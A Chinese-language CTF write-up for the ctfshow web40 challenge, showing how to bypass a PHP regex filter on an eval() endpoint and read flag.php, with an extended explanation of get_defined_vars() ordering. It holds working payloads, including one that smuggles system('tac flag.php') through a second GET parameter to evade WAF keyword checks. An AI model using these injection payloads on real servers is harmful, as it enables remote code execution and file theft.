特殊符号绕过-ctfshow-web40

一、打开环境看源码

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

这里面过滤了一堆特殊符号:过滤内容:数字 0-9,以及大量的特殊符号~ @ # $ % ^ & * ( ) - = + { [ ] } : ' " , < . > / ? 。

这里面比较坑的是这个括号是中文的括号(就因为这个折腾好久,本人后来放弃,直接看的WP。。。)

方法一:查看当前工作目录getcwd(),扫描当前目录及文件"scandir()"输出 为数组,flag.php 在倒数第二个个位置那就数组倒置array_revers(),变为正数第二,在使用next()函数指向从第一个指向第二个(及指向flag.php),最后使用show_source()查看文件的内容。

payload如下:

php 复制代码
url+?c=print_r(getcwd()); ===> /var/www/html
url+?c=print_r(scandir(getcwd())); ===> Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )
url+?c=print_r(array_reverse(scandir(getcwd()))); ==> Array ( [0] => index.php [1] => flag.php [2] => .. [3] => . )
url+?c=print_r(next(array_reverse(scandir(getcwd())))); ==> flag.php
url+?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); 

方法二:利用get_defined_vars()

?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");

第一部分:?c=eval(next(reset(get_defined_vars())));

这是攻击载荷的核心,目的是为了绕过简单的安全检测(WAF),并执行隐藏在其他参数中的恶意代码。

get_defined_vars(): 这是一个 PHP 内置函数,用于获取当前作用域内所有已定义变量的数组。

reset(): 将数组的内部指针指向第一个元素,并返回它的值。

next(): 将数组内部指针指向下一个元素,并返回它的值。

eval(): 将字符串作为 PHP 代码执行。。

执行逻辑:

利用 get_defined_vars() 获取所有参数,然后通过 reset 和 next 这种"指针移动"的方式,巧妙地获取到第二个参数(即 1 参数)的值,并将其作为代码执行。这种方式可以绕过那些只检测参数名是否包含 "eval" 或 "system" 的简单防火墙。

第二部分:&1=;system("tac%20flag.php");这是真正要执行的系统命令。

1 参数名。因为 PHP 中变量名不能以数字开头,但在 GET/POST 参数中是可以的。这里利用了第一部分代码中 next() 函数来获取这个参数的值。

; 代码分隔符,表示前面的内容结束。

system(...): PHP 函数,用于执行外部操作系统命令。

但是问题是,我怎么能保证这个返回的数组在reset和next之后,可以获取到参数1 的值呢?或者说怎么能保证c的值在这个数组的第一位呢?这就跟这个方法的底层逻辑有关。

扩展:get_defined_vars

1、解析顺序:从左到右

PHP 在处理 HTTP 请求(GET 或 POST)中的参数时,会严格按照参数在请求中出现的顺序进行解析和注册。

  • 请求示例: ?c=xxx&1=yyy&name=zhang
  • 解析过程:
    1. 遇到 c=xxx,将其放入变量符号表(Symbol Table)。
    2. 遇到 1=yyy,将其追加到符号表中,排在 c 后面。
    3. 遇到 name=zhang,继续追加。

因此,在 get_defined_vars() 返回的数组中,用户自定义变量的顺序通常就是 URL 查询字符串中参数的顺序。

2、符号表(Symbol Table)的插入机制

在 PHP 内部,所有的变量都存储在"符号表"(一个哈希表结构)中。当 PHP 接收到请求时,它会遍历 URL 中的参数对。对于每一个参数,PHP 会调用类似 zend_hash_add 的底层函数将其添加到符号表中。虽然哈希表通常不保证顺序,但 PHP 的 HashTable 结构在实现上会维护一个有序的双向链表来记录插入顺序(用于 foreach 遍历)。

结论:第一个被解析的参数 c,就会成为链表中的第一个节点。

准确的说法是:get_defined_vars() 返回数组的顺序,取决于变量在当前作用域内"诞生"的时间顺序。

在 Web 攻击的场景下,GET 参数通常是最早被解析并注入到脚本执行环境中的"用户自定义变量"。

3、为什么参数看起来总是"靠前"?

PHP 脚本的执行流程大致如下:

  1. 接收请求 :PHP 引擎接收到 HTTP 请求(例如 ?c=xxx&1=yyy)。
  2. 解析注入 :引擎立即将 URL 中的参数解析为变量( $ c$ 1),并注入到当前的变量符号表中。
  3. 执行脚本:引擎开始逐行执行你的 PHP 代码。

关键点在于:

当你调用 get_defined_vars() 时,如果这是脚本中的第一行代码,那么此时脚本内部定义的变量(比如你写的 $ a = 1;)还不存在。此时内存中已存在的变量,主要就是刚才解析出来的 GET 参数

所以,它们不是"排在前面",而是"最早出生"。

php 复制代码
<?php
// 此时, $ c 和  $ 1 已经因为 HTTP 请求而存在于内存中了

 $ a = "我是后来定义的";
 $ b = "我是最后定义的";

 $ allVars = get_defined_vars();
print_r(array_keys( $ allVars));
?>

输出结果的顺序通常是:

c (最先诞生,来自 URL)

1 (其次诞生,来自 URL)

a (脚本执行到第 3 行才诞生)

b (脚本执行到第 4 行才诞生)

...以及其他内部变量

4、运行环境差异:CLI vs Web

当我去在线环境运行测试时,发现结果与上述不符,测试代码如下:

php 复制代码
<?php
$a = array("red", "green", "blue");
$arr = get_defined_vars();
$b = 42;

print_r($arr);

?>

结果如下:

php 复制代码
Array
(
    [_GET] => Array
        (
        )

    [_POST] => Array
        (
        )

    [_COOKIE] => Array
        (
        )

    [_FILES] => Array
        (
        )

    [argv] => Array
        (
            [0] => script.php
        )

    [argc] => 1
    [_SERVER] => Array
        (
            [JUDGE0_VERSION] => 1.13.0
            [LANGUAGE] => en_US:en
            [PWD] => /box
            [HOME] => /tmp
            [LANG] => en_US.UTF-8
            [JUDGE0_HOMEPAGE] => https://judge0.com
            [JUDGE0_SOURCE_CODE] => https://github.com/judge0/judge0
            [JUDGE0_MAINTAINER] => Herman Zvonimir Došilović <hermanz.dosilovic@gmail.com>
            [SHLVL] => 1
            [LC_ALL] => en_US.UTF-8
            [PATH] => /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
            [LIBC_FATAL_STDERR_] => 1
            [_] => /usr/local/php-7.4.1/bin/php
            [PHP_SELF] => script.php
            [SCRIPT_NAME] => script.php
            [SCRIPT_FILENAME] => script.php
            [PATH_TRANSLATED] => script.php
            [DOCUMENT_ROOT] => 
            [REQUEST_TIME_FLOAT] => 1769154520.3334
            [REQUEST_TIME] => 1769154520
            [argv] => Array
                (
                    [0] => script.php
                )

            [argc] => 1
        )

    [a] => Array
        (
            [0] => red
            [1] => green
            [2] => blue
        )

)

这时,不应该是a这个数组在前面吗?怎么跑到后面来了?b不在里面是正常的,因为作用域的问题。这就跟运行环境有问题了。

场景 A:Web 环境(Apache/FPM

流程:收到 HTTP 请求 -> 解析 GET/POST 参数 -> 初始化超全局变量( _GET, _POST)-> 执行 PHP 脚本。

结果:在脚本开始处调用 get_defined_vars(),用户通过 URL 定义的变量(如 ?c=1)往往是最先被注册的变量之一,所以看起来"靠前"。

场景 B:CLI / Judge0 环境(上述环境)

流程:PHP 解析器直接加载脚本 -> 立即初始化所有超全局变量( _SERVER, _ENV 等)-> 执行脚本。

证据:输出里面充满了 $ _SERVER 的信息(JUDGE0_VERSION, PWD, HOME 等)。

结果:在脚本执行前, _SERVER 等数组已经被填充。当定义 a 时,它是在这些庞大的超全局变量之后才被创建的。

正如我们之前讨论的,get_defined_vars() 的顺序就是变量创建的时间顺序。

在这个输出中,顺序逻辑如下:

  1. PHP 核心初始化:
    • $ _GET, $ _POST, $ _COOKIE, $ _FILES(空数组)被创建。
    • $ _SERVER 被创建并填充大量环境信息(这在 CLI/Judge0 中非常大)。
    • argvargc 被创建。
  2. 脚本执行阶段:
    • 时间点 A:执行 $ a = array(...)。此时变量 $ a 被注册到符号表,排在 $ _SERVER 之后。
    • 时间点 B:执行 $ arr = get_defined_vars()。此时它收集了所有已存在的变量。
    • 时间点 C:执行 $ b = 42。注意: $ b 不在输出中,因为它是在调用 get_defined_vars() 之后才定义的

结论:

1、在 Web 环境:参数通常在第 1、2 位,next(reset()) 能打中第 2 个参数。

2、在 Judge0/CLI 环境:前面堆满了 $ _SERVER 等系统变量,自定义变量 排在非常后面。

相关推荐
clown_YZ10 小时前
KnightCTF2026--WP
网络安全·逆向·ctf·漏洞利用
给勒布朗上上对抗呀1 天前
文件包含之include-ctfshow-web39
ctf
Pure_White_Sword3 天前
bugku-reverse题目-peter的手机
网络安全·ctf·reverse·逆向工程
缘木之鱼3 天前
CTFshow __Web应用安全与防护 第二章
前端·安全·渗透·ctf·ctfshow
给勒布朗上上对抗呀4 天前
伪随机数实战-ctfshow-web25
ctf
三七吃山漆4 天前
[护网杯 2018]easy_tornado
python·web安全·ctf·tornado
缘木之鱼4 天前
CTFshow __Web应用安全与防护 第一章
前端·安全·渗透·ctf·ctfshow
王解9 天前
game1
学习·ctf
23zhgjx-zgx9 天前
SQL注入攻击分析报告
网络·sql·ctf